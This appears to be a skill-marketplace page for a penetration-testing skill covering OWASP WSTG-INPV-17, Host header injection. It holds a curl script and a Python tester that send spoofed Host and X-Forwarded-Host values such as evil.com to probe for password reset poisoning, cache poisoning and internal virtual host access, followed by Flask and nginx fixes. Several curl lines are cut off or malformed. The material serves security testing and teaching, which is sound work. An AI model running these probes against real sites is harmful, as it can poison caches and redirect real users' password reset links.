Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-inpv-17명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
SOC 직업 분류 기준
SKILL.md 표시 중
| name | wstg-inpv-17 |
| description | Testing for Host Header Injection |
| category | input-validation |
| owasp_id | WSTG-INPV-17 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["injection","input-validation","xss","sqli","wstg","inpv"] |
| tech_stack | [] |
| cwe_ids | [] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-INPV-17
Testing for Host Header Injection
Host Header Injection occurs when applications trust the Host header value without validation. This can lead to cache poisoning, password reset poisoning, SSRF, and access to internal virtual hosts. Many applications use the Host header to generate URLs, making this a critical vulnerability.
#!/bin/bash
TARGET="target.com"
echo "[*] Testing Host Header Injection..."
# Basic host header manipulation
curl -s -H "Host: evil.com" "https://$TARGET/"
# X-Forwarded-Host
curl -s -H "X-Forwarded-Host: evil.com" "https://$TARGET/"
# Double Host header
curl -s -H "Host: evil.com" -H "Host: $TARGET" "https://$TARGET/"
# Absolute URL with different host
curl -s "https://$TARGET/" -H "Host: evil.com" --request-target "http://evil.com/"
# Port-based injection
curl -s -H "Host: $TARGET:evil.com" "https:///"
curl -s -H
curl -s -H
#!/usr/bin/env python3
"""
Host Header Injection Vulnerability Tester
"""
import requests
from urllib.parse import urlparse
class HostHeaderTester:
def __init__(self, url):
self.url = url
self.parsed = urlparse(url)
self.original_host = self.parsed.netloc
self.findings = []
self.session = requests.Session()
# Test host values
TEST_HOSTS = [
"evil.com",
"attacker.com",
"localhost",
"127.0.0.1",
"internal.local",
"[::1]",
"169.254.169.254",
]
def test_basic_injection(self):
"""Test basic Host header injection"""
print("\n[*] Testing basic Host header injection...")
for test_host in self.TEST_HOSTS:
try:
# Override Host header
response = self.session.get(
self.url,
headers={'Host': test_host},
allow_redirects=False
)
# Check if host is reflected
if test_host in response.text or test_host in response.headers.get('Location', ''):
print(f"[VULN] Host reflected: {test_host}")
self.findings.append({
'type': 'Host Header Reflection',
'host': test_host,
'severity': 'High'
})
# Check for different content
if response.status_code == 200 and len(response.text) > 0:
print(f" [INFO] {test_host}: {response.status_code} ({len(response.text)} bytes)")
except Exception as e:
pass
def test_x_forwarded_host(self):
"""Test X-Forwarded-Host injection"""
print("\n[*] Testing X-Forwarded-Host injection...")
override_headers = [
'X-Forwarded-Host',
'X-Host',
'X-Forwarded-Server',
'X-HTTP-Host-Override',
'Forwarded',
]
for header in override_headers:
for test_host in ['evil.com', 'attacker.com']:
try:
if header == 'Forwarded':
header_value = f'host={test_host}'
else:
header_value = test_host
response = self.session.get(
self.url,
headers={header: header_value},
allow_redirects=False
)
if test_host in response.text or test_host in str(response.headers):
print(f"[VULN] {header}: {test_host} reflected!")
self.findings.append({
'type': f'{header} Injection',
'host': test_host,
'severity': 'High'
})
except Exception as e:
pass
def test_password_reset_poisoning(self):
"""Test password reset poisoning"""
print("\n[*] Testing password reset poisoning...")
reset_endpoints = [
'/forgot-password',
'/password-reset',
'/reset-password',
'/api/auth/forgot-password',
]
for endpoint in reset_endpoints:
try:
reset_url = f"{self.parsed.scheme}://{self.original_host}{endpoint}"
# Submit reset request with poisoned host
response = self.session.post(
reset_url,
headers={'Host': 'evil.com'},
data={'email': 'test@example.com'},
allow_redirects=False
)
if response.status_code in [200, 302]:
print(f"[WARN] Reset endpoint accepts poisoned host: {endpoint}")
print(f" Check if reset link contains evil.com")
self.findings.append({
'type': 'Password Reset Poisoning (Potential)',
'endpoint': endpoint,
'severity': 'High',
'note': 'Verify reset email contains poisoned host'
})
except Exception as e:
pass
def test_cache_poisoning(self):
"""Test web cache poisoning via Host header"""
print("\n[*] Testing cache poisoning...")
# Add cache buster
import random
cache_buster = f"?cb={random.randint(10000,99999)}"
try:
# Request with poisoned host
poisoned_response = self.session.get(
f"{self.url}{cache_buster}",
headers={'Host': 'evil.com'},
allow_redirects=False
)
# Request with normal host (should hit cache)
normal_response = self.session.get(
f"{self.url}{cache_buster}",
allow_redirects=False
)
# Check if poisoned content is cached
if 'evil.com' in normal_response.text:
print(f"[VULN] Cache poisoning successful!")
self.findings.append({
'type': 'Web Cache Poisoning',
'severity': 'Critical'
})
else:
print(f" [INFO] Cache not poisoned (or no cache)")
except Exception as e:
pass
def test_virtual_host_routing(self):
"""Test access to different virtual hosts"""
print("\n[*] Testing virtual host routing...")
internal_hosts = [
'admin.' + self.original_host,
'internal.' + self.original_host,
'dev.' + self.original_host,
'staging.' + self.original_host,
'api.' + self.original_host,
'test.' + self.original_host,
]
for host in internal_hosts:
try:
response = self.session.get(
self.url,
headers={'Host': host},
allow_redirects=False
)
if response.status_code == 200:
print(f" [INFO] {host}: {response.status_code} ({len(response.text)} bytes)")
# Check if different content
if 'admin' in response.text.lower() or 'internal' in response.text.lower():
print(f"[VULN] Access to internal host: {host}")
self.findings.append({
'type': 'Internal Virtual Host Access',
'host': host,
'severity': 'High'
})
except Exception as e:
pass
def generate_report(self):
"""Generate findings report"""
print("\n" + "="*60)
print("HOST HEADER INJECTION REPORT")
print("="*60)
if not self.findings:
print("\nNo Host header injection vulnerabilities confirmed.")
else:
for f in self.findings:
print(f"\n[{f['severity']}] {f['type']}")
if 'host' in f:
print(f" Host: {f['host']}")
if 'note' in f:
print(f" Note: {f['note']}")
def run_tests(self):
"""Run all Host header tests"""
self.test_basic_injection()
self.test_x_forwarded_host()
self.test_password_reset_poisoning()
self.test_cache_poisoning()
self.test_virtual_host_routing()
self.generate_report()
# Usage
tester = HostHeaderTester("https://target.com")
tester.run_tests()
| Tool | Purpose |
|---|---|
| Burp Suite | Header manipulation |
| curl | Manual testing |
| Param Miner | Header discovery |
# Python/Flask - Use configured host
from flask import Flask, request, url_for
app = Flask(__name__)
app.config['SERVER_NAME'] = 'example.com'
@app.route('/reset-password')
def reset_password():
# Use url_for with _external=True and configured SERVER_NAME
reset_link = url_for('confirm_reset', token=token, _external=True)
# Never use request.host directly for security-sensitive URLs
# Nginx - Validate Host header
server {
listen 80;
server_name example.com www.example.com;
# Reject requests with wrong Host
if ($host !~* ^(example\.com|www\.example\.com)$) {
return 444;
}
}
| Finding | CVSS | Severity |
|---|---|---|
| Password reset poisoning | 8.1 | High |
| Web cache poisoning | 7.5 | High |
| Internal host access | 7.5 | High |
| Host header reflection | 5.3 | Medium |
| CWE ID | Title |
|---|---|
| CWE-20 | Improper Input Validation |
[ ] Basic Host injection tested
[ ] X-Forwarded-Host tested
[ ] Password reset poisoning tested
[ ] Cache poisoning tested
[ ] Virtual host routing tested
[ ] Findings documented